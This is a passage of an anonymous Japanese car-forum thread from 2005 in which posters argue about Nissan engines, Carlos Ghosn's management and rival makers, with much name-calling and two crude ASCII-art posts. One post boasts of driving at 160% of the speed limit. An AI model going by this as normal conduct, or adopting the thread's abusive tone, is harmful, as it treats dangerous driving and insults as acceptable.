良い筈。 アル中の2.4もストイキは良い・・・たしかに、トルクが無いので都内の道路事情
には酷かもしれないが。
エルグランドの3.5の速さは、某馬鹿自動車メーカーから馬鹿ミニヴァンのせいで然程、速
いと思わなくなった。 あの3.0リッターは信号ゼロヨンで基地外・・・勿論、デッカイ事故
を起こすなどして、オーナーさんが結構、ニュースで血祭りに揚げられている車です。
218:名無しさん＠そうだドライブへ行こう
05/08/24 04:25:52 8UTeJnO/0
>>217
もう少し日本語を勉強しなおしてから、出直してきてください。
219:焼き鳥エンジン搭載車@>>52
05/08/24 10:20:35 rapm7nNn0
>>218
燃費の話をしていた後に、書き込んだから、燃費の話が先になっちった。 わりぃ～・・・。
220:名無しさん＠そうだドライブへ行こう
05/08/24 11:27:39 Ni34uzop0
>>207
カローラで出したらエンジン爆発するぞ。しなくても一年でエンジンは壊れる。耐久性考えろよ。
221:名無しさん＠そうだドライブへ行こう
05/08/24 18:18:18 QUpuTo3cO
>>220
おまいさん1NZ-FEを搭載した車に乗ったことがないだろう？
あのエンジンはすごいぞ。ギアレシオもあろうが
先日現行ラウムで東北道を走ったところ、すーっと
スピードが乗っていってあっという間に制限速度の160％
まで達した。うるさくもなく普通に会話出来るレベルだったよ。
あれなら170は楽に超えるだろうね。最近のコンパクトは
すごいなぁと感心したんだが日産のはひどいのか。
222:名無しさん＠そうだドライブへ行こう
05/08/24 20:24:09 k+/eZNbWO
>>220
オイル管理してたら大丈夫。
つか、普段は飛ばさないよ。
そういう最高速のパワーは、ギアを落として急勾配でも楽々運転できるって事。
ちなみに、ウイングロードのサンプル車はレンタカーで借りた物。
回してもうなるだけで坂登らん。
今日借りたフィットは楽々だったよ。
まだデータは出してないけど、ホンダのリッタークラスすげーよ。
登りが続く道でも踏めば踏むほど加速する。
4000回転超えてもまだ加速Gがかかる。
ただ、進みだすまでに、かなり回してヌルヌル発進する。
一昔前のターボ車みたいな感じ。
ホンダのエンジンは中高速が凄いけど、低速は無視したエンジンぽいね。
CVTでなんとか速度とトルクのマッチングとってるけど、
速度調整がむずいな。
積極的に燃費をのばそうと、ロックアップしてるのがよくわかる。
しかし、こう書くとホンダベタぼめぽいけど欠点はある。字数超えるから次。
223:名無しさん＠そうだドライブへ行こう
05/08/24 20:26:59 k+/eZNbWO
シフトを落としてるのに、ギヤレシオあげてけれ。
マツダみたいな勾配センサーはついてないのかよ。
224:名無しさん＠そうだドライブへ行こう
05/08/24 23:22:08 CGbdpZI10
実験継続中
225:名無しさん＠そうだドライブへ行こう
05/08/24 23:35:43 c6IyT9MA0
>>220
エンジンは常に爆発してます。
普通は壊れません。あなたの扱いに問題が・・・・。
226:名無しさん＠そうだドライブへ行こう
05/08/24 23:45:30 hxJo5MJ00
>>1
このスレも200を超えて未だ実況中もクソもねーだろ！
もう一個もまだ健在だぞ！
227:名無しさん＠そうだドライブへ行こう
05/08/25 00:00:01 GLHqgjns0
>206
リストラの過程で優秀な技術者が流出。しかし、ゴーンマジックで無理矢理利益を上げたが、
その利益はルノーが吸収。
しかも故障率はあの三菱より劣る。品質に黄信号がともっている。
歴史は繰り返すと言うけど、どうなんでしょ。ゴーンは優秀だけど、はげたかかも知れない。
それが解ったときには、ルノーの事実上の子会社になっているかも。
あるいはしゃぶり尽くして、いいときに売り切るかも知れない。
その証拠に、日産が儲かったら、日産がルノーの株を買い増す約束だったのに逆に
ルノーが支配を深めている
。
対等ではなく、日産が服従する仕組みを着々と築き上げ、誰も文句を言えないようになった。
彼が約束を守れば、はげたかで無いことになるが、今のところその兆候はない。
日産も、危うい面が隠せないことになるかも知れない。
そのエンジンの開発費のように。
228:名無しさん＠そうだドライブへ行こう
05/08/25 00:18:27 IS74CCUk0
>>226
君が作った糞スレと同様
ここも盛り上がっている以上は必要とされてるって意味だし
継続でいいんじゃね？
ただね、作ったのオレじゃないから。
みんな、それだけ鬱憤が溜まっていたんだと思うよ？
言ってみればこのスレ作った遠因が君にもあるのかもね。
229:名無しさん＠そうだドライブへ行こう
05/08/25 00:23:02 jfM4YSX+0
>>228
だったらそれで良いんじゃね？
スレタイ如きでムキになる方がおかしい。
230:名無しさん＠そうだドライブへ行こう
05/08/25 00:25:38 IS74CCUk0
ムキになってるのは君のほうでは？
>>226 は君だとばかり思っていたが、違うのか？
231:名無しさん＠そうだドライブへ行こう
05/08/25 03:56:19 s2HhHb6k0
市営住宅にシーマやフーガ、エルグランドが止まってると腹が立ちます
232:名無しさん＠そうだドライブへ行こう
05/08/25 04:03:49 RCs0sev50
セルシオやクラウン、アルファードならいいのか？
233:名無しさん＠そうだドライブへ行こう
05/08/25 08:02:10 6aIcbHKi0
はい。
234:名無しさん＠そうだドライブへ行こう
05/08/25 10:54:20 nAGNo9uv0
>>233
トヨタ工作員乙。
235:名無しさん＠そうだドライブへ行こう
05/08/25 12:41:52 ALtAFLqm0
23
236:名無しさん＠そうだドライブへ行こう
05/08/25 12:44:27 /93wqEDK0
直６復活ｷﾎﾞ～～～ﾝ
237:名無しさん＠そうだドライブへ行こう
05/08/25 13:28:34 VtnwQFlA0
>>236
有り得ない。直6の復活は絶対にない。
直6のデメリットを押し切れるほど、日産にもBMWほどの
ポリシーがあると思うのか？
有るわけがない。
もし、仮に有ったとしてみよう。
日産の直6がシルキー6と肩を並べられると思うのか？
並ぶわけがない。
238:名無しさん＠そうだドライブへ行こう
05/08/25 14:20:53 gP5LWQbb0
日産の代表エンジンが無くなったのが痛い。
239:名無しさん＠そうだドライブへ行こう
05/08/25 14:33:17 VtnwQFlA0
日産の代表エンジンが無くなったわけではないだろ。
当然世代交代として淘汰され、新しい物に代わっただけだ。
今はVQだろ。
VQ35DE見てみろよ。どれだけの車種に使われてんだか。
立派に代表務めてんじゃね？
ローコンプくらい使って、レギュラークラス(格下用）を用意するべき。
それすらしないほど専用チューンの幅は極小。超コスト重視で
日産を支える代表エンジン。
240:名無しさん＠そうだドライブへ行こう
05/08/25 14:57:37 THhp2TWe0
日産の直6?サファリでも買えば?
241:名無しさん＠そうだドライブへ行こう
05/08/25 18:44:44 WZb/k7m70
フーガが出るまではY34の4WDがRB25DET搭載で、新車で買える直6セダンだったんだよな。
242:焼き鳥エンジン搭載車@>>52
05/08/25 20:33:04 taUtTnp/0
>>241
AWDの高級車って、廉価グレードに毛が生えた装備しかないのはなぜ？
雪国ユーザーの為、他で電気が食われるから・・・それを考慮した電装系の関係？
243:名無しさん＠そうだドライブへ行こう
05/08/25 23:55:57 IS74CCUk0
つくづく日産は商売が下手
今は利益出しててもそれは所詮「数字のマジック」に過ぎないから
そろそろ本気で商品力向上を考えないと、やばいよ
244:名無しさん＠そうだドライブへ行こう
05/08/26 00:48:48 RAFfd2nz0
「技術の日産」も今は昔・・・
245:名無しさん＠そうだドライブへ行こう
05/08/26 01:20:20 7oG3/obu0
>>237
何言ってんだ、しばくぞ。
てか、実際乗り比べたことある？ ないだろw
あんたもｱﾎ評論家の意見に踊らされてる可哀相な人なんだね。
BMWの直6なんてクソ、ニッサンのRBに比べりゃスクラップも同然だよ。
俺はローレルのオーナーだし、BMW325とかも代車とかで何回か乗ったことあるけど
その差は歴然。かったるいしフィーリングもダメ。これならBMW4気筒のほうが100倍良い。
BMWが良いって言われてるのは、ｱﾎ評論家の外車信奉のためだろ。
あの人たちの考え方は20年前でストップしてしまってるからね。
BMW直6も、L型とかの時代はよかったかもしれないけど、今となってはただの化石。
RBも古いといえば古いけど、それを感じさせない魅力がある。
今でもRBは世界最高の直6だよ。もう作ってないけど。
BMWも余計なポリシーなんか捨ててV6にしちゃえ。
246:名無しさん＠そうだドライブへ行こう
05/08/26 01:37:58 RAFfd2nz0
久々になかなか痛いレスだったなｗ
ネタか釣りとは思うけど、本気だったらマジ痛いｗ
247:名無しさん＠そうだドライブへ行こう
05/08/26 02:24:01 HoYy6n47O
結構本気じゃない？w
248:名無しさん＠そうだドライブへ行こう
05/08/26 03:34:01 yB8C9TzD0
ローレル。
249:名無しさん＠そうだドライブへ行こう
05/08/26 08:20:30 6g5SpIcH0
日産、ほしい車なし
いまの時点では
新規ユーザーを開拓する商品力はないな
デザインかっこ悪いし スポーティな車もないし
250:名無しさん＠そうだドライブへ行こう
05/08/26 08:24:13 6g5SpIcH0
なんの特徴もない、ただ動くだけの車しか売ってないメーカー
誰が買うか っていうか購入対象にも挙がらないんだが
購買意欲をかきたたせる商品がないんだから倒産する
規模縮小で今までの資産を食い潰して数字上プラスに転じただけの日産
ゴーンの日産潰し、ここにあり
251:E60 M5 Individual
05/08/26 12:46:47 Hthbnlto0
普通のBMWはな。 でも、そういうの大っぴらに書くもんじゃねーぞ、オーナーは勿論、
ブランドイメージの低下を心配する会社とか、色々なところからケチがつくぞ。
252:名無しさん＠そうだドライブへ行こう
05/08/26 20:45:09 +A4TxP/L0
.
253:名無しさん＠そうだドライブへ行こう
05/08/26 22:31:00 8a/3gnfC0
つかBMWも日産も同じＡＴ使ってる
254:名無しさん＠そうだドライブへ行こう
05/08/26 23:05:56 KkGEErE60
BMWがジャトコ使ってたのはE36の時代の話じゃなかったっけ？
255:名無しさん＠そうだドライブへ行こう
05/08/26 23:15:51 HoYy6n47O
ジャトコが6AT作れるとでも？w
256:名無しさん＠そうだドライブへ行こう
05/08/27 00:27:00 iMKypw8E0
ここはスペヲタばかりみたいだな。
高スペック高回転エンジンの話ばっかりだ。
257:名無しさん＠そうだドライブへ行こう
05/08/27 00:31:42 3LFscqgm0
>>256
どちらにしても「高回転エンジン」を日産が作れないのは事実ｗ
258:名無しさん＠そうだドライブへ行こう
05/08/27 00:38:35 lUku0gAE0
>>257
高回転エンジンって何？プ
高回転型でなくて？ｗ
259:名無しさん＠そうだドライブへ行こう
05/08/27 00:39:40 3LFscqgm0
細かいところに突っ込んでくる夏厨ウザイ！
260:名無しさん＠そうだドライブへ行こう
05/08/27 00:41:27 32QwcVxa0
CA18DETは非力も良いところだが、結構気持ち良いエンジンだったな。
261:名無しさん＠そうだドライブへ行こう
05/08/27 00:47:37 54wP3qOc0
おまいら何ンダヲタの手のひらで踊ってんだよ？
エンジンそんなブン回すなんて通常ありえないし
オトナの日産だぜ
ガキのンダに踊らされてるんじゃねぇよしっかりしろ
ＪＴみたくマナー持って使えや
人様に迷惑かけるンダと違うことを考えれ
262:名無しさん＠そうだドライブへ行こう
05/08/27 00:50:36 lUku0gAE0
つか高回転型ならVHがあったな
無知のンダヲタはしらね～かｗ
263:名無しさん＠そうだドライブへ行こう
05/08/27 00:50:47 3LFscqgm0
ターボパワーで路面を荒らしまくってるのは明らかに
シルビアとスカイラインとローレルなんですが・・・
264:名無しさん＠そうだドライブへ行こう
05/08/27 00:52:11 3LFscqgm0
>>262
知らないエンジンなんてどうでもいいじゃんｗ
日産の高回転「型」エンジンは誰も知らないが
ホンダのエンジンがよく回ることは夏厨でも知ってる。
265:名無しさん＠そうだドライブへ行こう
05/08/27 00:54:05 lUku0gAE0
回る？
ああアホンダ車はよく横転してんねｗ
266:名無しさん＠そうだドライブへ行こう
05/08/27 00:55:37 lUku0gAE0
>>263
つか今時ローレルすか？w
267:名無しさん＠そうだドライブへ行こう
05/08/27 00:59:02 3LFscqgm0
そんなこと「新車を買えないサンヲタ」に言ってくれよｗ
268:名無しさん＠そうだドライブへ行こう
05/08/27 01:01:55 lUku0gAE0
>>267
つか今時ローレルは少ないって意味でいったんだけど？
つか下げようや、消防ｗ
269:名無しさん＠そうだドライブへ行こう
05/08/27 01:05:27 3LFscqgm0
ローレルクラブＳ（だっけ？直６ターボの）は
ツアラー系と並ぶドリ車の定番だからな
なにより不人気車でツアラー系より安いから
ドリドリサンヲタご用達になってるのよ。
知らないでサンヲタやってる君は素晴らしいと思うよｗ
270:名無しさん＠そうだドライブへ行こう
05/08/27 01:08:15 06YvFWnKO
lUku0gAE0←こいつあちこちで孤軍奮闘してるよwww
痛々しいったらありゃしない。
271:名無しさん＠そうだドライブへ行こう
05/08/27 01:12:14 3LFscqgm0
いやーサンヲタいじめるのって楽しいねｗ
最近、数は多くないけどアンチサンスレ盛り上がってますよね。
なんでアンチサンスレが今までなかったのか不思議なくらいです。
272:名無しさん＠そうだドライブへ行こう
05/08/27 01:12:59 lUku0gAE0
↑
だから？ｗ
273:名無しさん＠そうだドライブへ行こう
05/08/27 01:16:38 06YvFWnKO
必死に下げてますよwwwwwwWwwwwwwwWwwwwwww
274:名無しさん＠そうだドライブへ行こう
05/08/27 01:20:06 lUku0gAE0
くだらね～馬鹿がさげねんなら下げるのやめるわ
275:名無しさん＠そうだドライブへ行こう
05/08/27 01:21:39 3LFscqgm0
かわいそうだから下げてあげようｗ
276:名無しさん＠そうだドライブへ行こう
05/08/27 01:22:41 lUku0gAE0
つか盛りあがんね～な
もっとも3LFscqgm0と06YvFWnKOの傷の舐めあいだから当然か？ｗ
277:名無しさん＠そうだドライブへ行こう
05/08/27 01:24:23 3LFscqgm0
せっかく下げてやったのに上げるなよｗ
278:名無しさん＠そうだドライブへ行こう
05/08/27 01:26:35 lUku0gAE0
↑
下げても上げるじゃんオマエ
279:名無しさん＠そうだドライブへ行こう
05/08/27 01:27:06 06YvFWnKO
いやはや痛いww
他の車に乗ってみなさいw
280:名無しさん＠そうだドライブへ行こう
05/08/27 01:29:30 lUku0gAE0
でもう終わり？
アホンダヲタ2人でこんなもんかよ？ｗ
281:名無しさん＠そうだドライブへ行こう
05/08/27 01:30:01 3LFscqgm0
じゃあ下げてやるよｗ
282:名無しさん＠そうだドライブへ行こう
05/08/27 01:31:15 3LFscqgm0
ってかオレ、ホンダ乗ってないけど？ｗ
今の愛車はジャガーだよ。
って言っても自転車だが（自爆）
283:名無しさん＠そうだドライブへ行こう
05/08/27 01:36:17 lUku0gAE0
んだよヲタか
つか糞スレだから下げたいんだがいいか？
284:名無しさん＠そうだドライブへ行こう
05/08/27 01:37:46 TV7RHKDL0
lUku0gAE0と3LFscqgm0の独占スレはここですか？
285:名無しさん＠そうだドライブへ行こう
05/08/27 01:39:24 3LFscqgm0
良スレじゃんかよ。
アンチサンスレがこれほど盛り上がるとは思ってもみなかったｗ
286:名無しさん＠そうだドライブへ行こう
05/08/27 01:39:55 lUku0gAE0
そうで～す！
287:名無しさん＠そうだドライブへ行こう
05/08/27 02:19:42 3LFscqgm0
ホンダファンに迷惑かけんなよ、サンヲタ共
288:名無しさん＠そうだドライブへ行こう
05/08/27 05:20:42 Fm2pQLz/0
↑ゴーン氏。
289:名無しさん＠そうだドライブへ行こう
05/08/27 10:18:42 iMKypw8E0
>>285
こいつきっと1だなｗ
290:名無しさん＠そうだドライブへ行こう
05/08/27 12:14:18 ZcpYWiT00
全部>>285＝1の仕業ｗ
なんでも実験中なのだとか？ｗ
>>285の巣↓
【ｱﾝﾁﾄﾖﾀ】アンチは人間のクズ【ｱﾝﾁﾎﾝﾀﾞ】
ｽﾚﾘﾝｸ(auto板)l50
>193 ：名無しさん＠そうだドライブへ行こう ：2005/08/15(月) 22:46:18 ID:17petIUf0
>ここに参加する皆様に、いいことを教えてあげよう
>なぜアンチ日産スレだけ異様に少ないのか、疑問に思ったことはないか？
>理由は簡単なことである。アンチ日産スレは、立てても
> 漏 れ な く 必 ず 削 除 さ れ る ！
>
>ｽﾚﾘﾝｸ(auto板)l50
>NISSANのエンジンはなぜ糞なのか
>1 ：名無しさん＠そうだドライブへ行こう ：2005/08/15(月) 11:15:35 ID:MmJ0lyfa0
>さあ語ろう
>200 ：名無しさん＠そうだドライブへ行こう ：2005/08/21(日) 01:11:56 ID:fOFxaVpP0
>いちお協力して監視しときますか
>
>ｽﾚﾘﾝｸ(auto板)l50
>日産はなぜ外資に買収されなければならなかったのか
>1 ：名無しさん＠そうだドライブへ行こう ：2005/08/20(土) 20:00:50 ID:XWJ1Drbo0
>徹底検証しる
>注：アンチスレではありません。
>
>このスレを注意深く観察してみることにする。
>
>NISSANはなぜHONDAを恐れるのか？
>ｽﾚﾘﾝｸ(auto板)l50
291:E60 M5 Individual
05/08/27 12:26:06 B0i3K+pD0
>>254
ところがどっこい、ついこのあいだまでの日本仕様は・・・だ。 ZF欲しけりゃ、新車並行しかない。
>>255
悪いが作っちゃった。
292:名無しさん＠そうだドライブへ行こう
05/08/27 12:31:42 ZcpYWiT00
>>1の建てた糞スレ集ｗ
日産はなぜ外資に買収されなければならなかったのか
ｽﾚﾘﾝｸ(auto板)l50
NISSANのエンジンはなぜ糞なのか
ｽﾚﾘﾝｸ(auto板)l50
NISSANはなぜHONDAを恐れるのか？
ｽﾚﾘﾝｸ(auto板)l50
>>1の母屋ｗ
↓
【ｱﾝﾁﾄﾖﾀ】アンチは人間のクズ【ｱﾝﾁﾎﾝﾀﾞ】
ｽﾚﾘﾝｸ(auto板)l50
293:名無しさん＠そうだドライブへ行こう
05/08/28 12:32:41 RRb638jH0
>>1
>193 ：名無しさん＠そうだドライブへ行こう ：2005/08/15(月) 22:46:18 ID:17petIUf0
>ここに参加する皆様に、いいことを教えてあげよう
>なぜアンチ日産スレだけ異様に少ないのか、疑問に思ったことはないか？
>理由は簡単なことである。アンチ日産スレは、立てても
> 漏 れ な く 必 ず 削 除 さ れ る ！
>ｽﾚﾘﾝｸ(auto板)l50
>NISSANのエンジンはなぜ糞なのか
>1 ：名無しさん＠そうだドライブへ行こう ：2005/08/15(月) 11:15:35 ID:MmJ0lyfa0
>さあ語ろう
【ｱﾝﾁﾄﾖﾀ】アンチは人間のクズ【ｱﾝﾁﾎﾝﾀﾞ】
ｽﾚﾘﾝｸ(auto板)l50
で、いつになったら削除されんすか？プ
294:名無しさん＠そうだドライブへ行こう
05/08/28 12:47:47 pg2Y3WZ40
>>293
ｽﾚﾘﾝｸ(auto板)l50
295:名無しさん＠そうだドライブへ行こう
05/08/28 17:14:25 pg2Y3WZ40
.
296:名無しさん＠そうだドライブへ行こう
05/08/28 17:51:41 pg2Y3WZ40
.
297:名無しさん＠そうだドライブへ行こう
05/08/28 22:58:27 CgCSKh0D0
.
298:名無しさん＠そうだドライブへ行こう
05/08/28 23:02:47 CgCSKh0D0
>>293
ｽﾚﾘﾝｸ(auto板)l50
これについての解説求む
299:名無しさん＠そうだドライブへ行こう
05/08/28 23:56:52 CgCSKh0D0
>>293
さて、そろそろ落とし前つけてもらおうか。
良スレはスレストになって、糞スレはpart4ができてるんだが・・・？
300:名無しさん＠そうだドライブへ行こう
05/08/29 01:25:44 7DQodmhQ0
日産のエンジンって今はほんと糞ばかり
いつまでサンヲタに「ＲＢ２６マンセー」させてるんだよ
そろそろマンセーにふさわしいエンジン出してやれよ
ま、作れればの話だがｗ
301:名無しさん＠そうだドライブへ行こう
05/08/29 11:58:46 ED2ciEFq0
この２つ消えるのまだ～？ｗ
>日産はなぜ外資に買収されなければならなかったのか
>ｽﾚﾘﾝｸ(auto板)l50
>
>NISSANのエンジンはなぜ糞なのか
>ｽﾚﾘﾝｸ(auto板)l50
302:名無しさん＠そうだドライブへ行こう
05/08/29 19:28:07 yHZ8Nz7s0
.
303:名無しさん＠そうだドライブへ行こう
05/08/29 19:30:57 xnYkoogs0
／::::)(:::)(:::::::::::)(::::::＾::::::::::＼
(::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::＼
/::::::::::/ノ::::::::ﾉ::::::::ヽ:人::::::::::ヽ:::::::::::::::）
（::::::::::/ ）:::ノ::::ﾉ ) ｿ ヾ::::::::::::丶::::ヽ)
（:::::::::/ 彡 ﾉ ﾉ :: 彡:/)) ::::::::::）
（::::::::::/彡彡彡彡彡 ミミミミミミミ :::::::::::）)
（ ::::::://￣￣￣￣ヽ===/￣￣￣￣ヽ |:::::::::)）
| =ﾛ -=･=- ∥ ∥ -=･=- ﾛ===
|:/ ∥ ／ /ﾉ ヽ ＼ ∥ ヽ|ヽ ＿＿＿＿＿＿＿＿＿
|/ ヽ｀======/ .⌒ ｀ ========ﾉ. ..| | ／
.（ .（● ●） ）.ﾉ. ／ 日産のエンジンって今はほんと糞ばかり
（ ・ ／ :::::l l::: ::: ＼ ..） / いつまでサンヲタに「ＲＢ２６マンセー」させてるんだよ
（ ／／￣￣￣￣＼:＼. .） ＜ そろそろマンセーにふさわしいエンジン出してやれよ
.＼ : ）::::|. ￣￣￣￣ | ::::（: ／.. ＼ ま、作れればの話だがｗ
(::＼ ::: ::::::::＼＿＿＿＿／ ::::: : ／:::)) ＼＿＿＿＿＿＿＿＿＿
)(:::::ヽ ヽ:::: _- ::::: ⌒:: :::::::: -_ ノ:::::::))
)((::::::::::＼丶＼_::＿:::::＿:::: :::::＿／:::: ／:::::::: ))
((::::::(:::::::::::::＼ ＼ ::::::::::: :::::::::: ::: _＿／｜::::::::)))
￣￣＼ |￣￣￣￣￣￣￣ ／￣￣
＼ ／
304:名無しさん＠そうだドライブへ行こう
05/08/29 22:19:11 bQP01uHp0
>>303
ゴーンが、その予算や生産設備費に金出す訳ねーだろ？
氏ねデブ！
研究開発費や設備投資、工場建設等に予算くれたら
次期型のエンジンも直ぐ出来んだけど、何か？
っていうか、次期型も他社が先行しちゃって
開発だけなら楽なんだよ。分かってんのか？デブがぁ！
305:名無しさん＠そうだドライブへ行こう
05/08/30 00:21:45 a8muY1050
日産車のエンジン技術は他社より１０年は遅れています。
なぜかは簡単な話で、今の日産の技術は「暗黒の時代」のものでしかないからです。
普通、自動車１台を０から開発するのに最低でも５年はかかります。
つまり今の車はゴーン体制以前の「暗黒の時代」の遺物でしかないのです。
もしかしたら今後よくなるかもしれませんが、熾烈な自動車業界の競争で
１０年のブランクは大きいです。取り返すのにまた１０年はかかるでしょう。
そして今から１０年後には、きっと燃料電池車やＥＶなどが主流でしょう。
そしてそこでも日産は後れを取ることになるのです。
306:名無しさん＠そうだドライブへ行こう
05/08/30 00:22:57 a8muY1050
ゴーンさんが偉いのは、現実をきちんと把握していることです。
そこで技術などに頼らない戦略を構築する必要があったのです。
デザインだけならそんなに開発年数はいりませんからね。
そうやって論点をうまくはずしているんですよ。
ですからおそらく技術面で言えばトヨタやホンダにはしばらく追いつけません。
ですが、車にそれほど詳しくない人にターゲットを絞れば
トヨタやホンダにも対抗できる、そうゴーンさんは考えたんですね。
ゴーンさんの功績はきっと２０年後くらいにまた称賛されることと思います。
307:名無しさん＠そうだドライブへ行こう
05/08/30 00:24:36 I/6p9Zry0
>>305
トヨタみたいにヤマハ頼みでなく、
自前で頑張ってることには敬意を払いたいぞ。
商売テクで売るトヨタより、自分は日産の
実直な姿勢がすきだ。こういう人間もいるのよ。
308:名無しさん＠そうだドライブへ行こう
05/08/30 00:31:55 a8muY1050
>>307
そういう考え方は良くないですよ。
トヨタはヤマハと言う頼もしい友達を持っていると言えます。
友達と言うのは信頼関係ですからね。
トヨタのすごさはそこにこそあるんです。
日産に友達ってありますか？
あるのはルノーと言う師匠だけでは？
309:名無しさん＠そうだドライブへ行こう
05/08/30 00:45:50 3GAgtz6I0
>>308
ダイハツという強力な相棒もいるよ
そーいやプジョーとシトロエンとで一緒に作ったコンパクトカーのエンジンって
どこが作ったものなのか？
共同？
310:名無しさん＠そうだドライブへ行こう
05/08/30 00:55:02 a8muY1050
共同開発となってるけど主導権握ってるのはトヨタじゃないですかね。
しかし資本関係のないトヨタ＆ＰＳＡのほうが
資本関係（主従関係）を結んでいるルノー日産よりシナジー効果が出ているというのは
皮肉なものですね。
311:名無しさん＠そうだドライブへ行こう
05/08/30 00:57:19 1ALkLLEk0
>>308
日野タンを忘れるな！
312:名無しさん＠そうだドライブへ行こう
05/08/30 11:01:12 kFaeCdy0O
なんで燃費のよかったSRやRBのターボをやめたのかわからん。
いいエンジンだったのに。
ターボ乗っけてリッター10キロ以上走るエンジンはコレしかないはず。
313:名無しさん＠そうだドライブへ行こう
05/08/30 12:51:32 PTsyuYtH0
>>312
いじると平気でリッター５以下に落ちるし
なおかついじる奴が大半だから
314:名無しさん＠そうだドライブへ行こう
05/08/30 13:52:13 Ngv9BAiJ0
排ガス規制に対応できなかったんでない？
315:名無しさん＠そうだドライブへ行こう
05/08/30 14:01:25 a8muY1050
結局、ＳＲやＲＢ以上のエンジンを作ることが出来なかったというわけか。
他社は燃費や排ガス規制を受けても魅力的なエンジンを開発してきたが
日産だけは取り残された。
ただ、エンジン技術は明らかに日産より劣ると思われる親会社ルノーは
たとえエンジンは非力でも魅力たっぷりの車作りをしてきている。
その差は、何なんだろうね？
316:名無しさん＠そうだドライブへ行こう
05/08/30 15:47:52 kFaeCdy0O
燃費のいいエンジンなら、充分環境対応にチューンできるはずなんだけどね。
317:名無しさん＠そうだドライブへ行こう
05/08/30 20:28:33 Ckl/jRdb0
｡ ﾟ ｡ 彡川川川三三三ﾐ～ﾌﾟｩ～ﾝ
。 川川川／゜∴゜＼ｂ～ ＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
。 ﾟ川川∴◎---◎∵｜。゜。 ／結局、ＳＲやＲＢ以上のエンジンを作ることが出来なかったというわけか。
o 川川∴゜∵｡ 3∴。ヽoﾟ～／他社は燃費や排ガス規制を受けても魅力的なエンジンを開発してきたが
。 ～川川∴∵｡）。д （∵）～＜日産だけは取り残された。
川川∴∵。～∴∵｡%～ ＼ただ、エンジン技術は明らかに日産より劣ると思われる親会社ルノーは
oﾟ 川川∥o∴～∵。～｡/～゜。 ＼たとえエンジンは非力でも魅力たっぷりの車作りをしてきている。その差は、何なんだろうね？
川川川川∵∴゜～｡‰U～ﾌﾟｩ～ﾝ ￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
U 〆 ∵∴゜‥゜。～∵ ＼ﾟ 。～ﾌﾟｩ～ﾝｐ
/:::::::＼ﾟ。～∴∵@oﾟｐ /oﾟ～ﾌﾟｩ～ﾝ ｐ
/::::::: /∴:::::・ ノ ｐ・::/::::: /ﾋﾟｭｯ ﾋﾟｭｯ ﾋﾟｭｯ ﾋﾟｭｯ ﾋﾟｭｯ
(::::::::::::(～::::∴∵ C))))/:::～/|。o゜～ﾌﾟｩ～ﾝ ｐ
＼:::::::::＼:::::: ∵/ //:::∴/|゜～ﾌﾟｩ～ﾝ
/:: ＼:::::::: ＼ / /∵::/ o｡゜～ﾌﾟｩ～ﾝ ｐ
/:: ∴＼:::::::: つ/ /::::: /∴～ﾌﾟｩ～ﾝ
|::::∵∴ ＼ / ⊂::::::/)ｼｺｼｺｼｺｼｺｼｺｼｺｼｺｼｺｼｺ
|:::::::o゜～ ＼＿⊃＼＿/ /ﾋﾟｭｯ ﾋﾟｭｯ ﾋﾟｭｯ ﾋﾟｭｯ ﾋﾟｭｯ ｐ
(;;;;;;;;;;;;;｡ξ（;;;; )(;;; ）∵/｡゜｡ﾟ～ｸｻｲ ｸｻｲ
＼::::::::。∵ ）∴）｡゜｡～ｶﾕｲ ｶﾕｲ
＼::::::: ∴ /∴/｡～ｷﾓｲ ｷﾓｲ
∴ )::::::～ /::::::/～ﾌﾟｩ～ﾝ ｐ
｡o｡｡ / / /～ﾌﾟｩ～ﾝ
゜｡／::::: ∴ （: （＿｡～
（;;;;;;;;;＿＿っ）））＿つ））
318:名無しさん＠そうだドライブへ行こう
05/08/30 20:42:41 /fEMHhIR0
ｽﾚﾘﾝｸ(auto板:150番)
319:名無しさん＠そうだドライブへ行こう
05/08/30 21:34:45 a8muY1050
>>317
サンヲタの品位が問われていますよ
320:名無しさん＠そうだドライブへ行こう
05/08/30 21:47:54 vUGbp1440
実用車のエンジンとしてはQRは良いものだと思うけどな。
クラストップのトルク、低回転から太い。
シュンシュン回すのには向いていないんだろうが、
欧州車的な割り切りを感じるよ。
321:名無しさん＠そうだドライブへ行こう
05/08/30 21:57:25 VdxSH6dG0
SRていう名前が、走りを予感させる。
Supremely Racingだからね。
322:名無しさん＠そうだドライブへ行こう
05/08/30 21:58:58 AVoS0Mlj0
じゃぁＶＧエンジンは？
323:名無しさん＠そうだドライブへ行こう
05/08/30 22:00:58 a8muY1050
たしかにＶＷゴルフとか、つい最近まで古臭いエンジン使っていたからね。
２Ｌでたったの116psしかない、ロングストロークでトルクだけが自慢のエンジン。
もっともそれで不満は出てなかったようだし（燃費以外は）
評論家も「スペックに躍らされない欧州車的割り切り」と称賛していた。
そのＶＷも新型ゴルフから最新型のＦＳＩエンジンに切り替え、
一気に世界最高の４気筒エンジンと言われるまでになった。
評論家も「これで国産車もうかうかしていられなくなった」と
ずいぶん調子のいいことを書いているがｗ
今や欧州でも最先端のエンジンがもてはやされるようになったんだよね。
324:名無しさん＠そうだドライブへ行こう
05/08/30 22:03:48 vUGbp1440
Golfも4になって駄目になったと言うね。>323
G2-GTIは良かったぞ～～
325:名無しさん＠そうだドライブへ行こう
05/08/30 22:09:06 a8muY1050
>>324
ダメになったんじゃなくて、ゴルフのもともとの思想と、かつてのゴルフファンの求めるものと、
実際の市場がゴルフに求めるものとが食い違ってきちゃったのよ。
それが証拠にゴルフは今でも売れているわけ。
売れてるからいいってものでもないけど、売れるものを作るのは企業の使命だからね。
訳知り顔で「ゴルフは２まで、ベンツはＷ１２４まで」なんて言ってる奴を
オレは信用しない。
326:名無しさん＠そうだドライブへ行こう
05/08/30 23:04:42 h7+1vesW0
しかしどちらも、顧客満足度は急低下してるぞ。
327:名無しさん＠そうだドライブへ行こう
05/08/30 23:24:47 a8muY1050
>>326
そうなの？初耳なんだが・・・
よかったらその情報のソースを教えてくれる？
ただ、当時の思想のまま車作りをしていても駄目になったのは間違いない
車は嗜好品では決してないからね。
328:名無しさん＠そうだドライブへ行こう
05/08/30 23:30:42 4snAZob9O
SRエンジンて下品な音するよね。
329:名無しさん＠そうだドライブへ行こう
05/08/31 00:09:56 hvF+c8qL0
RB26DETTは伝説に残るくらいの名エンジンではないのか？？
330:名無しさん＠そうだドライブへ行こう
05/08/31 00:12:33 6hK5+c+F0
>>328
